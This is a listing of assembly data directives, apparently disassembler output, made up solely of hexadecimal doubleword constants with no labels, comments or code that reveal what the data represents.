		dd 0CD72545Bh, 385EDE5Fh, 55C54AE9h, 0DE10DCAFh, 0DB2119D2h
		dd 0F68C5F1Bh, 0C5AAF829h, 5D13950Bh, 0B074A25Eh, 0C371F66Eh
		dd 0D92DE73Fh, 0C516DC89h, 1342EC01h, 9288B970h, 3F41F9EEh
		dd 9607DA27h, 0AD97DECFh, 4F2F0CECh, 0D7EA59F8h, 0AB6619A0h
		dd 3E5FE9CEh, 79BA6824h, 0E8950472h, 4EA9D489h,	0E9C225A9h
		dd 0E5B1CF8Ah, 29BA5394h, 4A2C8BF1h, 8EA84F33h,	98B708F4h
		dd 44575F09h, 9852EE16h, 0C8FA4E24h, 68185619h,	0AD870B30h
		dd 605682BDh, 5A363501h, 142E8CA3h, 0CB25A919h,	566B2254h
		dd 575CF05Dh, 0C53D469Fh, 5E9DE340h, 90D10B3Fh,	25088D65h
		dd 6852009Ah, 66897703h, 0FD5D3AF6h, 4140BBBh, 3A317425h
		dd 2F70907Eh, 3E5B5E0Eh, 0F610580Bh, 3574400h, 2E1F9268h
		dd 9322D567h, 7CEBA35Bh, 69E4424Eh, 0FF09DC2h, 0AD84CB5h
		dd 0F861D0EDh, 74CD07C7h, 80311408h, 690BFDFDh,	4AB1F35Dh
		dd 0ABC9ABA2h, 0ECB7CF50h, 833B3161h, 2C427F9Fh, 0DDE896A5h
		dd 649250Dh, 8C72BD8Bh,	0C11E808h, 0E15F05D8h, 0D088E97Fh
		dd 50525C9Eh, 0A0B1DDF1h, 7D6FB3DFh, 3FE65761h,	1C7A1210h
		dd 8979F580h, 0D88842C5h, 6F8D29CDh, 0E7463CEh,	0B3530A00h
		dd 80F7B1B6h, 0A0D473F1h, 99D930B3h, 69420BF1h,	19B7C110h
		dd 5BFE881Ch, 0C5D1F317h, 0B2007465h, 64D8B5DAh, 0EED80E4h
		dd 0EF8853A5h, 2BE9F842h, 0D52D0AC8h, 97B1502h,	8905D029h
		dd 0C096FD07h, 0E5E0C34Bh, 2A56416Ah, 828FF5B0h, 0FD92427Fh
		dd 2EAE64C0h, 0FA917A24h, 5239940Fh, 0CFEFCE00h, 0DD0DD132h
		dd 0CA170118h, 0A2DF2968h, 280E818Eh, 895966CEh, 7E3389F0h
		dd 0B5132A1Ch, 164B6A73h, 0FF9755B1h, 0A626F52Ch, 0ED589789h
		dd 9A4A9F34h, 1689E379h, 4CB2D750h, 7FA03463h, 574C70DCh
		dd 0B9807357h, 0E4171E5Dh, 9DB58B38h, 49A8D9C6h, 0F59CA1E6h
		dd 87729C60h, 4A1CFA44h, 0BB8A4EF7h, 0C37D03BAh, 7039FA4Fh
		dd 0A278B781h, 0C79D0B7h, 86D49380h, 0C00A830Eh, 8C0BE901h
		dd 58AFDEA5h, 1CC9D6E2h, 0BAA8F20h, 0B822606Fh,	2578134Eh
		dd 7450709h, 53E04E05h,	0D8B9E9AAh, 0A7EEB1C3h,	0D94E8324h
		dd 13726FD2h, 6F78EA92h, 718028E9h, 3D0BFC1Ah, 41902D36h
		dd 0A1044A1Ah, 0C5E8EFD1h, 6FA8BA80h, 81974A8Bh, 5DEB09F3h
		dd 1637230h, 19441A1h, 0D2E4E9CBh, 349CE7D5h, 612DAB0Ch
		dd 12846738h, 0D0A81255h, 28F8EA0Bh, 36422576h,	645F07FEh
		dd 7F74E130h, 8CBA8875h, 0AC5D68CDh, 6B499EF9h,	403B51E5h
		dd 1C685A54h, 0A2300A4Bh, 0BD55B8h, 14F7816Dh, 0E911D356h
		dd 181BD927h, 805FC5F2h, 5A045952h, 0C1314891h,	2080C86h
		dd 0B12E181h, 244001C9h, 0CE7562D0h, 5AB5E9F8h,	0D591A2DCh
		dd 1985E84Ah, 0F625BFA1h, 0B5E07C1Fh, 0F828D001h, 45BEC2Ch
		dd 7F5E217Fh, 6AA9412h,	0F154737Ch, 2C2902B7h, 4D04143h
		dd 44D77CD2h, 8F32BA54h, 86204155h, 0EBEA8004h,	429813EDh
		dd 899534F8h, 0C15E82BCh, 0FB5D05BEh, 925A6DD8h, 0DDF73BACh
		dd 25C49B94h, 5706F600h, 0F1315F71h, 25E52FCh, 0D83BCFD9h
		dd 6D2456A3h, 0EE067B3Ah, 0F2424E05h, 0B0495ED3h, 0DB975EBFh
		dd 5E0228C8h, 139FE3B4h, 33915DE4h, 7C3C563Bh, 0BC7551CBh
		dd 0E2379891h, 89B272Ch, 337DD662h, 20323865h, 65A12125h
		dd 2E2EF368h, 0F63B8999h, 0E0B64A5Dh, 4E7E0A48h, 4A2FA750h
		dd 0B597AAD8h, 9351900Bh, 0E2E956E3h, 8624FF7Ch, 765D0908h
		dd 9EDA25A8h, 0F1B3A325h, 535B92D6h, 0C2D1C153h, 124A7213h
		dd 38EE5939h, 0DB40712Ch, 0F5214A59h, 50AAEDFEh, 80C281F8h
		dd 17897B18h, 2D721FF6h, 787465C4h, 13ED840Ah, 0B1215D25h
		dd 0FD2016EAh, 1C26B402h, 20EE0814h, 0F47D9A7Dh, 4A83BA2Dh
		dd 3E3DE087h, 5F77A318h, 835ED46h, 0DA01584Ah, 6C970820h
		dd 2A0F863h, 68C7E9B9h,	565951C3h, 1FBF5B13h, 0BA6D8946h
		dd 0A265B17Eh, 0E9E69C5Fh, 0B505FE25h, 69CAF59h, 0D5B9524Ch
		dd 0FC3B6301h, 30D6295Fh, 3109FEBDh, 0F9407F3Dh, 5A368A87h
		dd 3151A5A9h, 0CBD536E5h, 0BF574603h, 0CCCCD36Ah, 915A5ACAh
		dd 2897BD7Fh, 651E9229h, 4EC4BB92h, 9754F3AAh, 256135AAh
		dd 9574BA79h, 0E5D46BA6h, 2220FE27h, 622B177Fh,	0BF2F2498h
		dd 8F719EFh, 0F155C225h, 0E9B1FEADh, 99A68CFh, 7D5BA568h
		dd 0F8F668B2h, 79A63C1Dh, 0FA62F712h, 297372D1h, 0BEF20D86h
		dd 0C641C8ADh, 1E42DA4Fh, 510024DDh, 278FE017h,	9313B4Ah
		dd 0CE2B17A4h, 0FBAC5FACh, 0EC60263Ah, 95B831BDh, 0E4F0C25Eh
		dd 2B5C62E9h, 55DC389h,	0F2AC5800h, 0DC817C2Fh,	0E06404ACh
		dd 0AB955F6h, 1A486884h, 7BC0C2BCh, 0BD464A23h,	0AC425EAh
		dd 0A2BC4FE9h, 3ABF2D3Eh, 120D6E00h, 354BDE5Ch,	0E74F080Fh
		dd 93DAE002h, 2DE94919h, 0EFD65221h, 0D26ECE71h, 1FCBD218h
		dd 22B2EDD1h, 1631487Ch, 8E4315AFh, 0D94CD068h,	0B02B5A4Fh
		dd 0B5985020h, 66393C92h, 0F6F05EADh, 4F4262C8h, 0C90B7F47h
		dd 37255A98h, 7CDF0FECh, 0F51C7C2Fh, 0F0AADF6h,	5DBC222Fh
		dd 0F380D9AFh, 277246BBh, 0AD9FFE90h, 523F0C92h, 0E904079Eh
		dd 0D30F955h, 0B0B7A444h, 4EFD2965h, 0F3CB465Fh, 0F23C63B8h
		dd 545AADE7h, 4F89024Bh, 8F605F25h, 0B881DCB4h,	0D0A7222Bh
		dd 25AAC65Dh, 4D0288E9h, 0B733C8Bh, 0DD37E941h,	0DB41222Ah
		dd 34E58100h, 62E63D07h, 0ED00D53Ch, 0CD979FF9h, 1A97EB89h
		dd 0E92B8359h, 8DBEE49Ch, 0EBD1E7F7h, 64149673h, 0C302F309h
		dd 328EB97h, 0AAC7819Bh, 0C0C5C05Eh, 278E5C67h,	0DF84F54Ah
		dd 942B74EEh, 5A95E703h, 0D65A9382h, 9E55D28Ah,	15C4B7C1h
		dd 13502320h, 0F427A468h, 6F995F2Dh, 0B340F14Dh, 0BD49424Bh
		dd 47F54380h, 4C582B59h, 93E43D08h, 0F7B94DF0h,	0F2E90840h
		dd 752FB794h, 39063E8Ch, 0F2F2DBE1h, 0C2019868h, 7E952190h
		dd 420026C9h, 1877807Bh, 8669227Ah, 0AD277995h,	0E9522E80h
		dd 55D3BF33h, 0E4865C04h
		dd 58A4590Fh, 0F8849393h, 45981EE9h, 9CE28126h,	0C2FB974Fh
		dd 0C40B52FBh, 7FD0FA74h, 0B70B3630h, 0E402CBD8h, 0E93BCD69h
		dd 0D3286B53h, 32BEEC5Fh, 7A2C4040h, 87ACB4DCh,	29272BD2h
		dd 80B4DC0Fh, 0D0E6C58Eh, 0FE480FD7h, 0FFD5F5Fh, 0ADBA81E5h
		dd 4F5F367Dh, 55565CF9h, 346C2917h, 0ACE6C271h,	0FCAC5805h
		dd 68CBF201h, 0FD420A0Eh, 1E12C772h, 7104015Eh,	6E1BE296h
		dd 64874FB2h, 222392D8h, 296FF88h, 0E3C1042Fh, 0A8DBAFC1h
		dd 0C40B050Bh, 607D07FEh, 83C03C24h, 1AF61A05h,	9C82E0EFh
		dd 559302E5h, 2492ED1h,	84628281h, 0C4FBEF3Dh, 483287A0h
		dd 0ACA2BD13h, 4EF95B10h, 4318FF35h, 482858BBh,	441242D3h
		dd 8F50E05Ah, 9BE928C3h, 4B245C4Eh, 0CA54FBF4h,	0AC8B4F3Eh
		dd 7D33CC09h, 0F229C089h, 0C18A5B96h, 0E979B9DCh, 5FD9C8FEh
		dd 1C6F2D21h, 130DCCA2h, 6BB89BFCh, 0EF8477E1h,	0EB50A43Dh
		dd 0CF77BB0Fh, 0D24B6447h, 44C57592h, 823D24A6h, 90F752EDh
		dd 9648E999h, 0CEEB2E6Dh, 0BCDE3F98h, 2045C69Fh, 679DA4AAh
		dd 939B5E3h, 202BA31Ah,	0D56BE971h, 0B54FB816h,	505D6DC1h
		dd 3B858C8h, 0C1CC9474h, 0DED83105h, 0E8480108h, 6F084105h
		dd 1CBE331Fh, 4A3A81F8h, 53A20BFDh, 5F2F32FDh, 2431C7E9h
		dd 30E35D93h, 6880B2D6h, 0DB5714A0h, 0BD45CF16h, 7477866Eh
		dd 63495EF4h, 32250241h, 75C128FAh, 605D982h, 54C5B379h
		dd 0F5FBA21h, 0F3801884h, 709C1D2h, 3FC404E5h, 27850982h
		dd 0A36CE2F9h, 2C4BC57Dh, 61D913ECh, 6D563693h,	63251259h
		dd 0DDC634FCh, 95206855h, 0B35315F5h, 0C10B64AAh, 4B0105EFh
		dd 89AC3BC8h, 454F23CAh, 6AC6C91Ch, 5BC3E89Fh, 405C816Dh
		dd 325A25D9h, 62243C5Ch, 7F213E0Dh, 9F616D12h, 85E7BA68h
		dd 115C02A7h, 0C3CB0ABFh, 0BEE42708h, 5594CF96h, 15ED4B9Eh
		dd 3181F900h, 0E62BC473h, 2D2F5951h, 51B610E3h,	2F8552Eh
		dd 5D27EB2Bh, 0A2751AD5h, 7C9A49BCh, 462360F6h,	7FB074C1h
		dd 8A4A1B90h, 0E9386B83h, 78606CFDh, 0D3724012h, 3A08E05Eh
		dd 0CF898401h, 245BB659h, 35811366h, 7DAB7A9Ah,	0B7AACBE8h
		dd 0FD69BA3h, 0C7291C88h, 8858E2FBh, 0E05F7495h, 0EB685958h
		dd 96CC745Fh, 0B3114B95h, 0ECD84AA4h, 80C14098h, 7EFCEA6Eh
		dd 0D3D96E8Bh, 41A5BDDDh, 2A5D5341h, 0E9C668A2h, 522E4B15h
		dd 370BFE88h, 0E91A7675h, 46935D6h, 0FE1294E8h,	6EF6F812h
		dd 2FB4417Eh, 0F22AC4B1h, 904D3B3h, 0C716D35Bh,	3E483D11h
		dd 418ED82Ch, 0BFC50084h, 0EC4F080Eh, 0F42F58E8h, 77813800h
		dd 53121720h, 0CBD050Ah, 0FE5B3914h, 0C2CB00D6h, 0BD0C8F10h
		dd 70EF4201h, 0F81BE9F3h, 583D2A2Ah, 71A62D37h,	2C9181E5h
		dd 6C4B03C5h, 0FE6817FFh, 0E5EDC221h, 0B2AD773Ah, 665DFD16h
		dd 1DC449E4h, 4296617h,	0AC763A6h, 0A109C9B5h, 9F45C45Ah
		dd 18BD93F0h, 97F010E3h, 0E98976CDh, 2945E16Fh,	4C5A1C9Eh
		dd 0B912EE44h, 7B73DB02h, 60E1C166h, 1402C917h,	0F3641B5Bh
		dd 8553A505h, 4984BE9Bh, 0BDEC42FBh, 0D543FA27h, 2F56EFADh
		dd 13905EBAh, 0BF74BEAEh, 5CD82082h, 0E1A4082Bh, 2073B205h
		dd 804680EFh, 0E6FD0FC1h, 283D6350h, 97ED12D5h,	5A7D9CBCh
		dd 0F692071Fh, 0CD00D9D1h, 0C059CE88h, 7D07E626h, 0BD0EC913h
		dd 5BDE05C8h, 2008D4A0h, 0EC1152Ch, 22EE80E3h, 0EC25E6CCh
		dd 0CA264F6h, 0FE370B32h, 3B208B9h, 535A5B05h, 2CF29DEEh
		dd 0E8815FC6h, 606BF530h, 1C580F9h, 527250F4h, 87B55118h
		dd 25E9ECC8h, 4966AD5Ch, 0CF36310Bh, 693ADE65h,	6378D90Bh
		dd 6060566h, 0C74E011Eh, 0C2E98E6Ah, 0F58D6F82h, 1059B32Eh
		dd 56024A22h, 0ED6779BEh, 3B203541h, 5BF67713h,	6603D31Ch
		dd 0B6952F0Ch, 9E272B2Bh, 5DE927F5h, 4014C05h, 8A49DA48h
		dd 715D2504h, 0E3E989A2h, 0F5518429h, 0C16B5C51h, 24E7ABADh
		dd 69621DA8h, 1FA6447h,	20FCC980h, 0FE736326h, 2F9F90FAh
		dd 0E01E4F2Fh, 0CB093FC7h, 9ADAB559h, 0E3DEF109h, 8A69416Ah
		dd 99BA3180h, 81173614h, 1CACCA07h, 0F2604132h,	0B745BB4h
		dd 833CE9ADh, 0EA52DF7Eh, 0E7F157F7h, 1E25584Ah, 0C86813E5h
		dd 0F582E866h, 0D3894A5h, 6A7680Ah, 2BABA50Dh, 16B9157Dh
		dd 26FDF127h, 48497BFDh, 54052D41h, 42CAA6A4h, 8776752Eh
		dd 7934624Ah, 448EDC2h,	5EC2EDBEh, 22C72EB1h, 0E9130274h
		dd 96358ECEh, 0FA548CB4h, 0B3B24FBDh, 0C12979A3h, 7C66A948h
		dd 0D9D0BFA8h, 5C31F04Ah, 6C164DF8h, 1B1FBA78h,	0FE4A95B2h
		dd 6CB259Dh, 0B5A32Ah, 275D0803h, 0CEF4EE81h, 5201DF2Eh
		dd 89337625h, 9242C0E9h, 420B94F7h, 0AECD6D7h, 409E12A4h
		dd 23E4B824h, 60FB0BCFh, 4D5ECDFCh, 0CF50E7A7h,	526F1E22h
		dd 8D9533Bh, 0B30E6078h, 0A197EB23h, 0D830AC8Eh, 0BD55C324h
		dd 2B8A5E33h, 0EFC7685Dh, 1A651FF9h, 4BAD0A2Eh,	384B250Bh
		dd 4456C7B2h, 50B5924Fh, 0BC89C205h, 0AA5D122Eh, 5D1CA686h
		dd 5B2D1D3Bh, 69687ED6h, 0AC0F77A8h, 6422FB45h,	0A8ECFE42h
		dd 0D303F681h, 0A4D83F15h, 0A8CF5A32h, 0DD00E4E2h, 45092C7Dh
		dd 62E820E9h, 5B44BD07h, 56A26613h, 0E1D1A3A0h,	5E51C257h
		dd 9E542721h, 9D24E159h, 0E85D4F58h, 0F4BDFEBh,	28F207h
		dd 55FE4D11h, 0BED273BFh, 0AA8344E3h, 0F21D2261h, 0E1EDD781h
		dd 0EC51D5E8h, 4B9A87EEh, 57072EFEh, 454D5D35h,	48603082h
		dd 9781BF3Fh, 8A7FF492h, 72497EB0h, 474020CFh, 0A09F3362h
		dd 49ACF403h, 4CF1CA55h, 2A96B7AAh, 20A1CCB7h, 49EEA46Dh
		dd 0E9A978B7h, 0B658C32Fh, 8CE9F8C0h, 0E39D7464h, 0F11887AAh
		dd 1562B873h, 58DD5001h, 73D37B3h, 6FACCB01h, 2E432C73h
		dd 0DF25AFF6h, 0A92884FEh, 0BC836209h, 5BB086A4h, 3E916F7h
		dd 817AA4DFh, 0BD8DBF4Eh, 0E92B0F21h, 7C73801Dh, 16C149D1h
		dd 449707E8h, 165EB406h, 0F65209AAh, 88F106E0h,	0C74ADD7Fh
		dd 2CACD602h, 0AFC97991h, 810317CCh, 9367DEC6h,	0A1C4861h
		dd 0C830841h, 4F894473h, 4B8355Bh, 0F9F65CF0h, 874DE916h
		dd 9AAA7B34h, 829625AEh, 775E54A5h, 0E99DFCE7h,	0F0B4E3D7h
		dd 5C68B006h, 5EC0F547h, 73226853h, 0E9F0DBB5h,	77A3C2CEh
		dd 13726480h, 0F74F4971h, 0B03B6C3h, 0FEA9E915h, 253CA559h
		dd 0DC1FC8DEh, 80E10386h, 0CF881BF1h, 0F2504FF2h, 0D8F7282Eh
		dd 0C003F817h, 0A572FB68h, 0C0291AF4h, 1102D7Fh, 7F9422A4h
		dd 2896561Fh, 525C4C45h, 0E93B32CEh, 9406ED4Fh,	0F63B10F9h
		dd 0B8D86654h, 0F98839B9h, 0DFEC827h, 8020B240h, 63C65C2h
		dd 0B0CFC14Ch, 0E9D0C326h, 20955205h, 0AA156735h, 0FD088263h
		dd 0E15A1408h, 71046A3Ch, 84F5014Ch, 0C7081AFFh, 12AAA284h
		dd 0FB8874EAh, 5B537473h, 2D0229EBh, 6F808527h,	0CA01C135h
		dd 7B4723CFh, 82B96620h, 43D1AF5h, 874601F1h, 1720945Fh
		dd 1C587F4Eh, 0D82753F6h, 5B92DC32h, 0CA4FE130h, 659B56C0h
		dd 9C5DB77h, 187D5E08h,	5FCAE9ECh, 0C81C404Ch, 684F2B75h
		dd 104E7DE3h, 114C336h,	0BD4AA8EEh, 595D25BFh, 0B05B172Eh
		dd 0F52580ABh, 1CEE02F6h, 8EBE00D0h, 394C9F3Dh,	7B057628h
		dd 0E7D11318h, 0C1A45282h, 0FE21485Eh, 0F4C44D31h, 292005F6h
		dd 0EC22E9FEh, 4A7980C0h, 0F858713Bh, 38EFBE89h, 0E87CDD30h
		dd 0B5045159h, 2E5C075h, 526BC8FBh, 655BE498h, 0C580CAF2h
		dd 31D55133h, 0A4E94D17h
		dd 11F061A5h, 48AB3D6Dh, 6F00D9AFh, 1018A9B9h, 20F27448h
		dd 5BBB0FC9h, 4B4A596Fh, 0BA6C319Eh, 6DC27B0Bh,	0D29ADF1Ah
		dd 6F747FA9h, 892774CBh, 90616FE9h, 0B9F9D8ADh,	0FE498EBEh
		dd 0A3D77A4Fh, 1E58A064h, 5241648Dh, 67180119h,	602B106Eh
		dd 98B67EB1h, 4942F3DAh, 5B58977h, 68F64C44h, 18F5089h
		dd 203F453h, 0C0E08B95h, 7063C646h, 0A84D5B2Eh,	0F58102A3h
		dd 0C0A91280h, 14B9CD6Ch, 0BA3B3155h, 0F3A26905h, 3C55AC10h
		dd 0B025FE9h, 0C23D2C58h, 3A5CF492h, 4430257Eh,	50531910h
		dd 36166817h, 1D88ED88h, 245251D7h, 8B110823h, 3C2BF627h
		dd 28E07712h, 32950108h, 8058D01Eh, 2C2691A7h, 0AF5E28D5h
		dd 6093C344h, 27492DBEh, 0B1D3530Ah, 0F76503F5h, 2961477Fh
		dd 23B8CFB0h, 18CF5E79h, 65F18460h, 0E917B3A8h,	3FD8A445h
		dd 61E3115Ah, 0C7575DC9h, 0AA292561h, 0CAECEF10h, 0B7EEBD80h
		dd 681238D8h, 16E35486h, 7BB60279h, 1FE96ABCh, 65E431F4h
		dd 2D1C8380h, 0AE76125Ah, 0A431FE26h, 0C06FC129h, 44E955F0h
		dd 6590614Eh, 28797CE3h, 3BA14EA6h, 228595A4h, 0ABB9C0E9h
		dd 0B2512323h, 0F61CFD74h, 0DAAFE912h, 95BB5E25h, 8C2B00C2h
		dd 0E907061Fh, 99D7CF25h, 77F2501Dh, 6827C9EEh,	0BC84D96Eh
		dd 81292D14h, 480EE9C2h, 3D505C7Eh, 350D8003h, 72371000h
		dd 6992A805h, 0A661B7A4h, 6A8EEDE9h, 75E5F38Dh,	291D512Ch
		dd 8059FFFAh, 42104248h, 0FD5B0562h, 37F20A68h,	0AA71E985h
		dd 3C778945h, 108421AAh, 814A0043h, 0FEEF09EAh,	17EE69Dh
		dd 5A2BE941h, 7ECC8E7Ah, 76618527h, 5369EFE4h, 0C3DD2062h
		dd 0B10DC012h, 293B2CD6h, 0E24608FEh, 0FF570F27h, 6E4B6792h
		dd 88E14554h, 0F42FBB63h, 21C1048Eh, 10C8728h, 2BFD04D8h
		dd 0B6770B88h, 0C8D83CBEh, 905A7E7Ch, 5F0527F8h, 0EA5B1C1Bh
		dd 5F897BA4h, 0E94E2CD3h, 0F9837330h, 2D7DF1CAh, 0AD5E7BA1h
		dd 0EE045F28h, 485EF012h, 0CD495B85h, 3C280072h, 0EC2FB417h
		dd 66DC0FF1h, 0E16641E3h, 0DA011207h, 0E9F63244h, 6192EBA5h
		dd 500405EDh, 0CFFCE048h, 0A5F7B54Eh, 678F444Bh, 0D00113C5h
		dd 2B153BC7h, 5870E2EBh, 80609FA9h, 0C7F4D731h,	0BF149F60h
		dd 5E06360Fh, 24B3863Bh, 0B078282h, 4A21BE9h, 0C7E335B7h
		dd 83F4FBC9h, 81C3803Ch, 0EB579F28h, 168A105Ch,	0BCA6BEE9h
		dd 0A7A337h, 0FEAF2C9Fh, 0C9134C8h, 6601D7Dh, 0C026B231h
		dd 800409EAh, 9976D9E2h, 27A0471Dh, 0D46C215Ch,	24FADB97h
		dd 4AB372Ah, 0E941AB5Bh, 0EA127DBh, 4162B53Ah, 2C63F8Ah
		dd 5144DD59h, 0BE5B1FCAh, 39FD4017h, 0BB0D8285h, 16B66E78h
		dd 0E692B4Dh, 34C21EC8h, 82D7C178h, 0EC8FA8Fh, 5C5BB1BEh
		dd 34E20731h, 57D549D6h, 977191DCh, 514192F9h, 0A2CE8468h
		dd 71A9FDA3h, 9F1CB72h,	68F889C9h, 8161A0ADh, 8FDFEAF7h
		dd 954A46F4h, 0DC89B514h, 0EC27DCEDh, 82D8E24Ah, 511761F1h
		dd 947EA0A1h, 124B82E3h, 1019F9AAh, 0C404123Fh,	922CCE0Eh
		dd 0DB1722EDh, 495D0588h, 8802A957h, 0ED808508h, 9EB4C29Fh
		dd 0E204BAEAh, 2D3407D3h, 0F492C5A7h, 0BDBE5267h, 0FDB0D252h
		dd 0E24C111Ch, 150383ACh, 0B02D6442h, 2D4540E7h, 8DA07F30h
		dd 967C04F7h, 0B7C4644Bh, 30C11484h, 0BC04513Ah, 0C7941234h
		dd 40F16E2Ch, 15B0ADB3h, 0AE47070Fh, 5E2E8411h,	96207612h
		dd 771D3103h, 51FB2979h, 89CAA56Ch, 0BD2A840Bh,	0FE81E9A8h
		dd 6E336E48h, 0A411CB3h, 2B382D2Bh, 12F8CACh, 0D25BBD7Ch
		dd 0BE2266BAh, 0E23D897Dh, 8272C25Ch, 0F6BF69Ah, 0FE9CD2Eh
		dd 0B2A01FAFh, 1C280CAh, 0C2DAF62Dh, 939041A1h,	0CA77C312h
		dd 0D907FDFh, 44655FE9h, 0CABBC721h, 98B74B71h,	0FD870F13h
		dd 0F4F08449h, 6334BA12h, 0B686644h, 0F75E0FF8h, 94E94BF1h
		dd 2079FC15h, 8A681579h, 4617E66Ch, 8033F36Fh, 1D864FBFh
		dd 0CF829FDBh, 57CBEDD8h, 64C02A3h, 0F037135Ah,	5CC903EDh
		dd 8A75A2ECh, 2091F482h, 0DA65956Ch, 6805D02Ch,	67547D2Bh
		dd 4EE1250Eh, 54C0B5C5h, 5C818ED9h, 6DF57D40h, 25560320h
		dd 667C7E78h, 0CF4122A8h, 2B2D4C02h, 0D8F0D9E0h, 0B5FCEC26h
		dd 34A2C51Bh, 1550FDD6h, 2B64813Eh, 7EA47697h, 902140F0h
		dd 0A3D0813Dh, 0EF976E72h, 5D091F02h, 0DAE28250h, 0ECA50E67h
		dd 0B963AE3Dh, 811349E3h, 0F667A84Fh, 0B0ECD8A1h, 6E16EABDh
		dd 95160982h, 4F5173A0h, 5D712243h, 0C2C0BEDEh,	973DAEE9h
		dd 0F83097ECh, 0B9F2BDA2h, 11DB0028h, 355AD031h, 2A12F350h
		dd 24148958h, 5221046Fh, 82FE367Eh, 88FEB19h, 0C713A872h
		dd 0DA25C388h, 13A0D967h, 9F9ED1E9h, 0DD9302F9h, 615AF05Fh
		dd 8D42759Bh, 2A1A1C7Dh, 5CA32AE9h, 218FD21h, 8DF6BDABh
		dd 183551Eh, 0E1E168D2h, 0FCA59665h, 259AAC66h,	0BDE5E917h
		dd 0B74CFAA2h, 1CBE4D5Eh, 0A6E4BB8Bh, 5D960540h, 9D13458Bh
		dd 1AE373E0h, 82C237C5h, 225FEA52h, 5C33B6h, 0C780A1B7h
		dd 0F81F254Fh, 35A12652h, 7B3CF56Eh, 6257D72Ch,	0E6C125B5h
		dd 827BC600h, 52FB07C0h, 24395DBAh, 0FB0BAE03h,	82505829h
		dd 29C8620Bh, 77DA099Eh, 44810B22h, 0C0613C00h,	6C292F0Dh
		dd 0CA01371h, 0E627E912h, 0CC09709Dh, 208B43Ah,	0BE827641h
		dd 3ADCA1B1h, 0F8CBA4F5h, 0D85B0C04h, 17147ADDh, 0E175A3h
		dd 67993219h, 2768EED1h, 22C6796Bh, 4EAE08E1h, 8872A271h
		dd 0B2E98401h, 718CFE42h, 0B001F3DBh, 3DB76EA1h, 0B3498318h
		dd 0A77795EAh, 0D6894C17h, 0BE9013F9h, 1C4E2967h, 7B1777ACh
		dd 12BA56BEh, 0B41FECDAh, 0B3146BFDh, 0B881BB88h, 7E4A4023h
		dd 41684502h, 5772904Fh, 5AEC09F6h, 355E2DE9h, 0CEBF6612h
		dd 25683DFDh, 0E4714671h, 5C213039h, 8A40318Eh,	520C2648h
		dd 31854B48h, 4B028583h, 0E3458006h, 70F30AADh,	0FA406DC9h
		dd 1CBB0FBEh, 54B371Eh,	3B90E890h, 0BFEFC695h, 0F1AF755Bh
		dd 40D46465h, 0E888F7B5h, 80595E66h, 0EFB45019h, 81C660E1h
		dd 9BA9A40h, 9C6326CCh,	609A2DD8h, 0CFF4CEFFh, 0B405E95Bh
		dd 34625FC0h, 219F41E9h, 58717D9h, 6CED9F81h, 9BF65C02h
		dd 0BC2E9903h, 0E521E92Bh, 482EB63Ah, 683205DBh, 49923577h
		dd 2CB8E129h, 0EE250B32h, 8455F778h, 325DE538h,	0CAD83C01h
		dd 0E4E021BBh, 0A2932F6Ah, 7748C2F1h, 3664268Bh, 0A2F22928h
		dd 98C97194h, 17A59E91h, 0A8316EA0h, 97C284A8h,	0A24C8F10h
		dd 29334D04h, 0BB3480CBh, 18240F17h, 4208CBD1h,	0A4BF126Dh
		dd 304C2D24h, 0CC3A2411h, 4F070514h, 807BFFACh,	55544A68h
		dd 0AA5B7DE3h, 23BF9975h, 3302843Dh, 6658C288h,	0D58CE05Bh
		dd 2867162Ch, 8F11B9F8h, 94FC73B3h, 0DAFE582Fh,	7A680551h
		dd 0C2523193h, 520405FDh, 0C2E7A709h, 3216532Ah, 6FC1E34Fh
		dd 62B0D42Bh, 0BB005C91h, 58AA226Bh, 88209B40h,	7CCD5E4Eh
		dd 0C5F6442Eh, 0FB0F16E0h, 0CC3205B1h, 3ED659FBh, 8BFF8B05h
		dd 5ABFDE14h, 84419DEEh, 5EBB4344h, 0F1D6D3DFh,	2F34F553h
		dd 68C2EDE2h, 2AAF28C9h, 0AF1AFE05h, 0D6BBF031h, 39BD5207h
		dd 0DFECA5FDh, 5EE33B81h, 7D00DB07h, 0EE29D76Ch, 9F54CDF8h
		dd 1B5B3B95h, 0B5016DD8h, 0B9CF3910h, 0E5D53180h, 0BCDCC03Eh
		dd 45482336h, 2EA558D4h, 52CA2B73h, 10557743h, 0DB078663h
		dd 5E612CC0h, 1F7E108Bh, 2049D830h, 89DDD942h, 4D55EE19h
		dd 42F324EDh, 0B800878Ah
		dd 17745C9h, 4E1F357Dh,	20406D5Bh, 4C021CEBh, 24E91915h
		dd 6C477DAh, 5264B7A4h,	9ABF3698h, 0CE90A08h, 8240E047h
		dd 246774Ah, 71ABE56h, 0CAC3662Ah, 0D5110CB0h, 0EF3092Ch
		dd 0C5FCC30Eh, 0C88008A9h, 50867ADEh, 0CE78C061h, 5CE0C7DBh
		dd 7568106Fh, 0DBF3334Bh, 0C6357F04h, 51B8A015h, 1E37B900h
		dd 0CD0907A8h, 0B62F2AE9h, 4C717FB2h, 1034866Eh, 0BEB785E1h
		dd 9CA220C7h, 9499D5FEh, 83BD2F52h, 22D78D4h, 114678Eh
		dd 6A3BC0AAh, 3A3F0617h, 5B1816E1h, 15F7102Bh, 5E0E08C4h
		dd 204A5706h, 8EB4931h,	188C11CAh, 15083F26h, 41606140h
		dd 88DAFD3Ch, 0C53C128h, 1A10CEF1h, 29088A63h, 0B4181047h
		dd 31DD18E2h, 80BCAF10h, 8C825C04h, 40BA0820h, 0A463D56Fh
		dd 1B649120h, 18259608h, 83F1FEBh, 0D7816454h, 5111F11Fh
		dd 1F088830h, 78830868h, 28923138h, 0F4017DBAh,	0EEFC0120h
		dd 94ED188Ch, 8CE90A08h, 8511018h, 0A1646C81h, 0BA402DC9h
		dd 0D83840E0h, 0D908296Fh, 84519E71h, 9998A85Dh, 60FE087Bh
		dd 1558C1C8h, 0B710A080h, 0C0611855h, 80D23B08h, 148059C1h
		dd 3428C67Ch, 2131082Dh, 758C1868h, 0E9CF0888h,	3FFB2B08h
		dd 6DC7D162h, 0DC4A8D05h, 408C84E8h, 0C44CC176h, 6AC0C08h
		dd 202005B3h, 11B0ED5Ah, 4F6610C4h, 0E8B1430Ch,	9F840E54h
		dd 0D1988E81h, 6BA3E9A6h, 8CC908C5h, 3D0DC048h,	2E2065A0h
		dd 21C02039h, 0F1B0FE54h, 0D420EA63h, 190812B8h, 19385867h
		dd 589286A9h, 0C8E3F48Bh, 0D5071818h, 81F43008h, 2018EF41h
		dd 2C08373Ch, 24188107h, 7963AD28h, 18014810h, 18F3B608h
		dd 7A801A84h, 72DA8036h, 2A407492h, 99CA40A8h, 9008D863h
